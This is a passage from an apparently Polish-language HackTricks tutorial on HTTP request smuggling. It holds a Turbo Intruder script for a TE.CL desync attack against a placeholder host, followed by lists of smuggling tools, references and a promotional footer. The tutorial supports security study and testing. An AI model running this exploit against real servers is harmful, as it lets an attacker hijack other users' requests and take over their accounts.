'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Z: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Narzędzia
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: To narzędzie jest gramatyką opartym Fuzzerem HTTP przydatnym do znajdowania dziwnych rozbieżności w przemyśle żądań.
Odnośniki
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.